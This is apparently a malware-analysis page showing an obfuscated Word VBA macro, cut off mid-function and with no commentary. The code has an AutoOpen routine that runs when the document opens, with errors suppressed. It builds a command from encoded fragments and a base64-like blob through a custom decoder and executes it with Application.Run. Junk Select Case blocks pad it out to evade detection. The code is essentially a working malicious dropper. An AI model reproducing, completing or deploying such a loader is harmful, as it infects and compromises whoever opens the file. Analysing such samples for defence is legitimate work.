jqQuWroMn = hwAVi + biRkHz("1pmA0AgYAMGAjBgNAYGAhBQYAMDAwAgZAIDAxAAOAcDA5AwNAIGA2AwNAQDAjBQNAUDAlBgZAUGAiBQMAMDAiBgMAkDAkBQZAEGA2AQNAMDAmBQOAIDAjBG2zA3a_RAv$r@6VVo", 18, 114)
Select Case NRYGdS
         Case 65148
            fcUfb = Fix(604)
            fuGtDb = Int(25097)
         Case 72748
            cqZwRB = qhcqLB
            TqQii = ChrW(nMlMn)
      End Select
zpripnwkZCZkaw = UpBwtZWm + MGDnPAfpdntj + AfozzUzz + ChrW(34) + ildzwJOdcnCm + cQNRVFXDbP + AGIlpX + HRvVmQXIdNZ + rfRrrBB + NDKhh + zEAYNY + rJVvaViNdC + PFzJcE + nVcsnhnzlPL + wpwiUnjviVm + pWdSF + aJwzJAjCQZ + RifiitTV + iKGHYMoBI + FpfipRL + sCrsw + YhZXVz + kmPnuwzvX + OrVIPdZNrWP + pCZujVl + BTjPM + sWlACYiRV + jqQuWroMn + RMPsfi + CCUAYfPOY + wWBvMG + ZDGLOi + GjZcaMRXKz + thLfHDQXIz + MjmpUYZUuk + RSYNm + EWYZB + ivQLWMTq + LBqRWJFQMz + dGLtRuPrwFG + DOjCTazmaj + cmcFKCILmws + TBZtBztkhh
Select Case fPvPFN
         Case 21426
            okmuMq = Fix(61514)
            nfzhz = Int(7225)
         Case 70857
            OmCYF = TBAWVQ
            OhjXCp = ChrW(rDmTi)
      End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case KmcEQ
         Case 71833
            qVPQZw = Fix(33348)
            vOjSK = Int(1076)
         Case 67932
            nwLvvb = lJMPVl
            lkFKv = ChrW(SBOJov)
      End Select
Select Case NvSqRb
         Case 92903
            IEpzOa = Fix(57590)
            NivYV = Int(55982)
         Case 96533
            AElXm = CHAbhq
            Wzuplc = ChrW(QMjXpu)
      End Select
Application.Run "LEHbEfzlw", zpripnwkZCZkaw
Select Case asXdj
         Case 94121
            qNqZC = Fix(50505)
            izntn = Int(29477)
         Case 82933
            BikASw = YNhsjb
            dzztm = ChrW(kEQiCd)
      End Select
Select Case PtdBiJ
         Case 80726
            otjiIC = Fix(78838)
            rKtaSU = Int(79794)
         Case 93757
            cLAzSC = oOYikj
            WlYpE = ChrW(Pddvb)
      End Select
Select Case XJCPu
         Case 7652
            ICwptV = Fix(82599)
            qudKrL = Int(94908)
         Case 43480
            ufkjiw = FVuiom
            daDXLY = ChrW(fTNbYj)
      End Select
End Sub

Attribute VB_Name = "lkNamNUPTziDQk"
Function AfozzUzz()
On Error Resume Next
Select Case LMSbBC
         Case 37450
            AJANvT = Fix(1485)
            wMuBAN = Int(96339)
         Case 88408
            iviqFN = UsBwX
            fafqJI = ChrW(OsDwOb)
      End Select
YhZXVz = wJiwN + biRkHz("nj%5n1GiB7aItes&&p=%LliCXjkzKjUSK", 5, 17)
Select Case LMSbBC
         Case 37450
            AJANvT = Fix(1485)
            wMuBAN = Int(96339)
         Case 88408
            iviqFN = UsBwX
            fafqJI = ChrW(OsDwOb)
      End Select
Select Case Gfslz
         Case 2599
            onRNYw = Fix(31279)
            KBIKZ = Int(68242)
         Case 58984
            Xunzsj = WCoBCU
            wRshI = ChrW(mYpKjA)
      End Select
zEAYNY = jjowNY + biRkHz("mQqQKJmiiaaiw", 10, 2)
Select Case Gfslz
         Case 2599
            onRNYw = Fix(31279)
            KBIKZ = Int(68242)
         Case 58984
            Xunzsj = WCoBCU
            wRshI = ChrW(mYpKjA)
      End Select
Select Case kGzXz
         Case 63744
            GLThSa = Fix(82123)
            AahbIJ = Int(40928)
         Case 29719
            zwGDAa = kzsjju
            uVvDQJ = ChrW(qLlAT)
      End Select
TBZtBztkhh = sutqact + biRkHz("<wMv6ir45Ivj$bt$cAYNs.zQi1V2T@9i7$mXmvEanYGBL% tes&&!%kw4(", 5, 19)
Select Case kGzXz
         Case 63744
            GLThSa = Fix(82123)
            AahbIJ = Int(40928)
         Case 29719
            zwGDAa = kzsjju
            uVvDQJ = ChrW(qLlAT)
      End Select
Select Case darXV
         Case 64573
            JWQrWO = Fix(42733)
            ivkFr = Int(72859)
         Case 99022
            wYjpNQ = sZmiv
            QKMXq = ChrW(LfWkd)
      End Select
pWdSF = miGuPrZ + biRkHz("<$Q(K1d5zbk_CVsr@&&eh=%hZJhtWfwwhm", 5, 13)
Select Case darXV
         Case 64573
            JWQrWO = Fix(42733)
            ivkFr = Int(72859)
         Case 99022
            wYjpNQ = sZmiv
            QKMXq = ChrW(LfWkd)
      End Select
Select Case tKThba
         Case 64345
            JNcbd = Fix(24311)
            bZUZq = Int(47577)
         Case 2761
            PNpQji = qJjhh
            QkaXA = ChrW(Gbual)
      End Select
rfRrrBB = idvjniO + biRkHz("skEFEiYSvpLHbiPG02", 6, 5)
Select Case tKThba
         Case 64345
            JNcbd = Fix(24311)
            bZUZq = Int(47577)
         Case 2761
            PNpQji = qJjhh
            QkaXA = ChrW(Gbual)
      End Select
Select Case NwcUmG
         Case 68108
            wiWwQ = Fix(79933)
            ETUicD = Int(15530)
         Case 93774
            cdrfhc = RziSd
            rhjTa = ChrW(MLJzu)
      End Select
FpfipRL = zwkhow + biRkHz("j5!QWE_8Ges&&s=%AMOMKJ", 3, 11)
Select Case NwcUmG
         Case 68108
            wiWwQ = Fix(79933)
            ETUicD = Int(15530)
         Case 93774
            cdrfhc = RziSd
            rhjTa = ChrW(MLJzu)
      End Select
Select Case zCMOjL
         Case 69604
            MoHtoF = Fix(24526)
            KiMCwi = Int(32854)
         Case 39256
            PpwqB = kaSAw
            WHqvPp = ChrW(WBIzRk)
      End Select
AGIlpX = nmjdPjF + biRkHz("hEuqE h=H[E(zw0b2n", 11, 1)
Select Case zCMOjL
         Case 69604
            MoHtoF = Fix(24526)
            KiMCwi = Int(32854)
         Case 39256
            PpwqB = kaSAw
            WHqvPp = ChrW(WBIzRk)
      End Select
Select Case KDhGTz
         Case 80048
            wZTtC = Fix(22745)
            pMUEcE = Int(27708)
         Case 47563
            HzKuz = iBwsbM
            FhrCsl = ChrW(GhiFwY)
      End Select
thLfHDQXIz = MwbqV + biRkHz("F59wwSk%RYPOuDzO% mGZPSwraVrYh_Gko$vt!hFik9zkzV", 30, 11)
Select Case KDhGTz
         Case 80048
            wZTtC = Fix(22745)
            pMUEcE = Int(27708)
         Case 47563
            HzKuz = iBwsbM
            FhrCsl = ChrW(GhiFwY)
      End Select
Select Case PBHkw
         Case 13141
            rKZdpz = Fix(19035)
            TizKR = Int(5126)
         Case 4205
            qGZMc = iSFoZ
            sDzUJH = ChrW(miEjL)
      End Select
OrVIPdZNrWP = pUBvwi + biRkHz("3jhjENE_LN tes&&!%wai(IiwoM_h", 10, 10)
Select Case PBHkw
         Case 13141
            rKZdpz = Fix(19035)
            TizKR = Int(5126)
         Case 4205
            qGZMc = iSFoZ
            sDzUJH = ChrW(miEjL)
      End Select
Select Case aNtcSo
         Case 79046
            jRjGB = Fix(29044)
            VPlAb = Int(44949)
         Case 36507
            OHDjiD = dlZoM
            EzQau = ChrW(zhqzvT)
      End Select
sCrsw = ziOOBH + biRkHz("%uwC!m!a7nmzp3j<7Akrri)ja7E_6.ifma!ZE", 16, 1)
Select Case aNtcSo
         Case 79046
            jRjGB = Fix(29044)
            VPlAb = Int(44949)
         Case 36507
            OHDjiD = dlZoM
            EzQau = ChrW(zhqzvT)
      End Select
Select Case CSmsC
         Case 23072
            sChYib = Fix(30755)
            jYhniu = Int(34410)
         Case 11607
            vXsVD = aXwQSL
            iPMEs = ChrW(MMCRZ)
      End Select
BTjPM = CCzpIXH + biRkHz("mW]$DA]UVjNh$IV7fEbaDliO!F SGjjahSX% tes&&rGAJVMljswJ!SO.", 5, 19)
Select Case CSmsC
         Case 23072
            sChYib = Fix(30755)
            jYhniu = Int(34410)
         Case 11607
            vXsVD = aXwQSL
            iPMEs = ChrW(MMCRZ)
      End Select
Select Case kJwbNA
         Case 80853
            lncZC = Fix(57345)
            EdIjY = Int(14225)
         Case 64436
            tBWOJ = XbGFFI
            rrqzh = ChrW(kAVnXm)
      End Select
DOjCTazmaj = fwBzrOk + biRkHz("ksvjIUdkOMIAjPa[qzXFpKisWNB(ftm91<E_", 22, 7)
Select Case kJwbNA
         Case 80853
            lncZC = Fix(57345)
            EdIjY = Int(14225)
         Case 64436
            tBWOJ = XbGFFI
            rrqzh = ChrW(kAVnXm)
      End Select
Select Case uNBYm
         Case 36228
            ApoDX = Fix(42197)
            dJzXl = Int(38239)
         Case 45665
            cwwUO = Foqsq
            GrMwm = ChrW(wQYVMh)
      End Select
kmPnuwzvX = cYWMjmD + biRkHz("vqcVIKh4YV2rl(bNzRr%fc22waCs4LPbvc!", 18, 4)
Select Case uNBYm
         Case 36228
            ApoDX = Fix(42197)
            dJzXl = Int(38239)
         Case 45665
            cwwUO = Foqsq
            GrMwm = ChrW(wQYVMh)
      End Select
Select Case dwizZ
         Case 97484
            tXYRMb = Fix(7166)
            fDtfmV = Int(7094)
         Case 65202
            Tinnt = hdDan
            aDkXSn = ChrW(zFHjEf)
      End Select
RSYNm = KBsiEW + biRkHz("QT2aZKQ.uWLmRTlitQP% tewDsnkvaVvtHZwvjpacjniwVNcm", 27, 14)
Select Case dwizZ
         Case 97484
            tXYRMb = Fix(7166)
            fDtfmV = Int(7094)
         Case 65202
            Tinnt = hdDan
            aDkXSn = ChrW(zFHjEf)
      End Select
Select Case GNMiIZ
         Case 84917
            wzlBYP = Fix(26180)
            pUuEOj = Int(10342)
         Case 2446
            dXuAF = ScfjNH
            FAqBGb = ChrW(JqYSL)
      End Select
wpwiUnjviVm = GjkKlZ + biRkHz(".52kN0.K3zrNsaVDMEwKnS%fRaLonuaYLNswihUi.r", 10, 11)
Select Case GNMiIZ
         Case 84917
            wzlBYP = Fix(26180)
            pUuEOj = Int(10342)
         Case 2446
            dXuAF = ScfjNH
            FAqBGb = ChrW(JqYSL)
      End Select
Select Case jSBVf
         Case 88873
            tbdoc = Fix(11764)
            CAczP = Int(35930)
         Case 61356
            qndiS = ooGdpH
            CcvaH = ChrW(jznjNN)
      End Select
ivQLWMTq = JGBPXIL + biRkHz("JcbHa!tiBfkviN1G[1.Jjzs&&Rzzwcfw$X<w", 8, 7)
Select Case jSBVf
         Case 88873
            tbdoc = Fix(11764)
            CAczP = Int(35930)
         Case 61356
            qndiS = ooGdpH
            CcvaH = ChrW(jznjNN)
      End Select
Select Case JEOIFE
         Case 64919
            cYwwSN = Fix(48990)
            jvBGwZ = Int(65299)
         Case 70593
            PhzmQR = GXdZX
            LVjab = ChrW(qQNLh)
      End Select
RMPsfi = invXQ + biRkHz("AOi%Fmmi!@kIV1rsFKiqNNi_s%uWjUTOPLmCSL=%uSqQj!juso6", 7, 16)
Select Case JEOIFE
         Case 64919
            cYwwSN = Fix(48990)
…

Open this report in the interactive analyzer, or submit your own file for analysis.